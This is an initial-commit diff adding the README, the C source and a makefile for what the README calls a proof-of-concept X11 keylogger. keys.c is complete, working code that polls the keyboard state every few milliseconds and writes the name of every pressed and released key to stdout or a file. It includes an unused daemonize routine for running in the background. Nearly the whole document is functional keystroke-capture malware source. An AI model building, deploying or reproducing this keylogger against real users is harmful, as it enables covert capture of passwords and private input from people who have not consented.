Initial commit

README

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+This is just a proof of concept of a X keylogger. 
+Use:
+simply compile the source with make, and simply execute.
+Usage:
+keys [file]
+If a file is precised the keylogger will write all the keys to it, else it will print to stdout

keys.c

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+#include <X11/Xlib.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <signal.h>
+#include <string.h>
+#include <stdlib.h>
+#include <X11/keysym.h>
+
+Display *display;
+
+void output(char *string) {
+		if (strlen(string)!=0)
+			printf("[%s]", string);
+}
+
+
+void daemonize(){
+	pid_t pid, sid;
+	if (getpid() == 1) return;//already a daemon
+	pid = fork();
+	if (pid < 0){
+		exit(EXIT_FAILURE);
+	}
+	sid = setsid();
+	if (sid < 0){
+		exit(EXIT_FAILURE);
+	}
+	if(chdir("/") < 0) {
+		exit(EXIT_FAILURE);
+	}
+	return;
+}
+
+int log_table(unsigned char c) {
+  switch(c) {
+    case 1: return 0;
+    case 2: return 1;
+    case 4: return 2;
+    case 8: return 3;
+    case 16: return 4;
+    case 32: return 5;
+    case 64: return 6;
+    case 128: return 7;
+    default: return -1;
+  }
+}
+
+void quit() {
+	fflush(stdout);
+	XCloseDisplay(display);
+	exit(0);
+}
+
+int main(int argc, char* argv[]) {
+  unsigned char ok[32];
+  unsigned char nk[32];
+  int i;
+  unsigned int keycode;
+  if (argc == 2) {
+   if ((stdout = fopen(argv[1],"w+")) == NULL){
+	   exit(1);
+   }
+  }
+  //daemonize
+  //Handle nice closing
+  signal(SIGTERM, quit);
+  signal(SIGQUIT, quit);
+  signal(SIGINT, quit);
+  display = XOpenDisplay(NULL);
+  if(display==NULL) {
+    exit(-1);
+  }
+  XQueryKeymap(display, ok);
+
+  while(1) {
+    usleep(5000);
+    XQueryKeymap(display, nk);
+    for(i=0;i<32;i++) {
+      if(nk[i] != ok[i]) {
+        if(nk[i] != 0) {
+          //pressed key
+          keycode=i*8+log_table(nk[i] ^ ok[i]);
+          char ks = XKeycodeToKeysym(display, keycode, 0);
+          char *keyname = XKeysymToString(ks);
+          if(!keyname) {
+            keyname="";
+            if(keycode==50 || keycode==62) {
+              keyname="shift down";
+            } else if(keycode==37 || keycode==105) {
+              keyname="ctrl down";
+            } else if(keycode==133) {
+              keyname="win down";
+            } else if(keycode==108) {
+              keyname="alt gr down";
+            } else if(keycode==64) {
+              keyname="alt down";
+            } else if(keycode==34) {
+              keyname="å";
+            } else if(keycode==48) {
+              keyname="ä";
+            } else if(keycode==47) {
+              keyname="ö";
+            } else if(keycode==22) {
+              keyname="backspace";
+            } else if(keycode==66) {
+              keyname="caps lock";
+            } else if(keycode==23) {
+              keyname="tab";
+            } else if(keycode==67) {
+              keyname="F1";
+            } else if(keycode==68) {
+              keyname="F2";
+            } else if(keycode==69) {
+              keyname="F3";
+            } else if(keycode==70) {
+              keyname="F4";
+            } else if(keycode==71) {
+              keyname="F5";
+            } else if(keycode==72) {
+              keyname="F6";
+            } else if(keycode==73) {
+              keyname="F7";
+            } else if(keycode==74) {
+              keyname="F8";
+            } else if(keycode==75) {
+              keyname="F9";
+            } else if(keycode==76) {
+              keyname="F10";
+            } else if(keycode==95) {
+              keyname="F11";
+            } else if(keycode==96) {
+              keyname="F12";
+            } else if(keycode==9) {
+              keyname="escape";
+	        } else if(keycode==36|| keycode==104) {
+              keyname="return";
+            }
+            if(strcmp("",keyname)==0) {
+              output(keyname);
+            } else {
+              output(keyname);
+            }
+          } else {
+            if(strcmp(keyname,"Q")==0) {
+              keyname="left key";
+            } else if(strcmp(keyname,"S")==0){
+              keyname="right key";
+            } else if(strcmp(keyname,"R")==0){
+              keyname="up key";
+            } else if(strcmp(keyname,"T")==0){
+              keyname="down key";
+            }
+            output(keyname);
+          }
+        } else {
+			char *keyname="";
+            keycode=i*8+log_table(nk[i] ^ ok[i]);
+            if(keycode==50 || keycode==62) {
+              keyname="shift up";
+            } else if(keycode==37 || keycode==105) {
+              keyname="ctrl up";
+            } else if(keycode==133) {
+              keyname="win up";
+            } else if(keycode==108) {
+              keyname="alt gr up";
+            } else if(keycode==64) {
+              keyname="alt up";
+            }
+            output(keyname);
+        }
+        ok[i]=nk[i];
+      }
+    }
+  }
+}

makefile

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+CC=gcc
+LDLIBS=-L/usr/X11R6/include -L/usr/X11R6/lib -lX11
+
+all:keys
+keys:keys.o
+keys.o: keys.c
+
+clean :  
+		rm -f *.o